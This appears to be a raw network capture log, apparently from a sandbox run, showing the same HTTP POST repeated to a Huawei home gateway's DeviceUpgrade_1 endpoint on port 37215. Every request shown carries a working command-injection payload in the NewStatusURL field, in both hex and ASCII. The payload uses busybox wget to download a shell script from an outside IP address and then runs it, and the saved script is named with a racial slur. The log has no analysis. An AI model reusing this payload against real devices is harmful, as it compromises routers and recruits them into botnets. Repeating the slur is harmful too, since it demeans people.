Feb 19, 2024 18:36:46.082525015 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.546509981 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:53.154452085 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:02.114093065 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:21.569514990 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.432580948 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.15	34424	31.136.169.88	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.376651049 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.930599928 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:46.018650055 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
